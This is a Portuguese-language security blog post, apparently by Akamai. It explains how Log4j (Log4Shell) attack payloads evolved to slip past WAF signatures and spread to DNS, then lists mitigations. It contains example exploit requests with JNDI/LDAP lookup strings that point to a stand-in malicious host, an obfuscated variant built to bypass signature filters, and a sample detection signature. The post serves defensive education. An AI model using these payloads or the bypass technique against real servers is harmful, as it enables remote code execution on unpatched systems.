Uma retrospectiva do Log4j, parte 3: Evolução: cargas e diversificação dos ataques
Na parte 2 desta série, eu conduzo você pela exfiltração de dados e explorações de execução remota de código, bem como pela superfície de ameaça. Nesta publicação, falarei sobre o que estamos descobrindo em relação à evolução dos ataques à medida que pesquisamos. (Por exemplo, em dezembro de 2021, Hidecki Okamoto da Akamai descobriu uma nova vulnerabilidade.) Como monitoramos continuamente a situação e protegemos os nossos clientes, a Akamai observa a ameaça evoluir em duas direções distintas. A primeira é em relação às cargas.
As empresas confiam cada vez mais nas mitigações, como o Web Application Firewalls (WAFs), que ajudam na proteção. Esses sistemas procuram por cadeias de caracteres exploráveis em solicitações da Web e removem todas que encontram. Um exemplo muito simples e artificial pode ser remover todas as solicitações da Web que contenham os seguintes sete caracteres adjacentes um ao outro:
${jndi:
Isso removeria o seguinte exemplo baseado na Web, pois localizaria a assinatura realçada na solicitação:
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
Isso pode parecer, inicialmente, uma boa assinatura a ser procurada, mas devemos lembrar que o Log4j permite construções incrivelmente complexas e aninhadas. Para contornar o que foi mencionado acima, os invasores podem alterar o ataque para que ele tenha a seguinte aparência:
GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
Nesse exemplo, os sete caracteres adjacentes especiais mostrados anteriormente — ${jndi: — não estão mais presentes e, como resultado, a assinatura WAF planejada seria contornada com sucesso.
Vamos examinar o que o Log4j faria ao receber o caminho: /${${lower:J}ndi:ldap://rce.malware.example/a} para registro em log.
Primeiro, expande a expressão de pesquisa de ${lower:J} para j, gerando o seguinte string provisório:
/${jndi:ldap://rce.malware.example/a}
Em seguida, observando a expressão de pesquisa JNDI de ${jndi:ldap://rce.malware.example/a}, o Log4j passa o pseudo URL do LDAP ldap://rce.malware.example/a no JNDI, levando à exploração detalhada anteriormente.
Isso resulta em um jogo de gato e rato em que os invasores utilizam uma construção de carga até que sejam bloqueados, momento em que modificam a carga para tentar novamente contornar as verificações de assinatura, até que sejam encontrados novamente e assim por diante.
Na Akamai, vimos tentativas de contornar verificações por meio da manipulação de strings de carga semelhantes e muito mais avançadas do que as anteriores; e por meio de abordagens menos óbvias, como codificações de conteúdo criativo, codificações de transferência, conjuntos de caracteres e muito mais.
A segunda evolução que observamos está em torno da diversificação dos alvos e dos protocolos de ataque. Conforme mencionado na parte 2, aplicações baseadas na Web são agora o principal vetor de ataque, mas observamos um aumento das tentativas no DNS (Sistema de Nomes de Domínio) e em outros protocolos menos óbvios à medida que o vetor da Web fica mais protegido e a correção continua.
Solução e mitigação
Dada a magnitude dos diferentes vetores de ataque que podem ser aproveitados contra essa vulnerabilidade, a única solução verdadeira é corrigir todos os sistemas vulneráveis. No entanto, como foi dito anteriormente, alguns sistemas não podem ser corrigidos, pois são sistemas incorporados sem nenhum método de atualização ou são aplicações comerciais prontas para uso cujo cronograma do fornecedor pode não ser tão rápido quanto desejado.
O que complica ainda mais a mitigação é o fato de que muitas empresas ainda não têm a visibilidade abrangente necessária em seus ambientes para saber exatamente quais sistemas estão vulneráveis.
Nós abordamos as mitigações em uma publicação anterior no blog da Akamai, bem como no blog da equipe Guardicore. Como atualização, a Akamai recomenda as seguintes ações:
1. Para sistemas que podem ser corrigidos, faça isso imediatamente.
Isso fornece a melhor medida de proteção. Verifique se a versão mais recente do Log4j está em execução (2.17.0 até o momento desta publicação).
2. Nos sistemas identificados como vulneráveis, mas nos quais você deve esperar para atualizar o Log4j, reduza a superfície de ameaça com as seguintes configurações sempre que possível:
No Log4j versões ≥ 2.10, passar “-Dlog4j2.formatMsgNoLookups=true” para a aplicação durante a inicialização, desativará as expressões de pesquisa.
No Java, verifique se as seguintes configurações são verdadeiras em seus sistemas:
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Execute um WAF, como a solução Kona líder de mercado da Akamai, em todas as aplicações Web para ajudar a filtrar tentativas de ataques.
Isso deve ser feito nos servidores internos e externos.
4. Execute um firewall DNS, como o Akamai Secure Internet Access Enterprise, para ver cargas de DNS suspeitas que estiverem invadindo o ambiente e bloqueá-las.
5. Execute uma ferramenta para ver exatamente o que está sendo executado em seu ambiente, seja ele ferro nativo ou nuvem.
Use ferramentas, como as fornecidas pela Akamai Guardicore Segmentation, para ver tudo o que está sendo executado em seu ambiente. Utilize essas ferramentas para localizar aplicações que talvez você não saiba que estão vulneráveis.
6. Minimize as comunicações das aplicações afetadas.
Utilize a segmentação baseada em identidade, como a fornecida pela Akamai Guardicore Segmentation, para restringir com quem os sistemas vulneráveis podem se comunicar.
O que está por vir
Essas estratégias de mitigação podem reduzir significativamente o risco em sistemas vulneráveis, enquanto a estratégia de correção é arquitetada e executada. Nossa retrospectiva está quase completa. Até agora, abordamos o histórico, as explorações e as mitigações de uma vulnerabilidade do Log4j. Vamos finalizar a parte 4 com uma recapitulação das lições aprendidas. Fique atento.
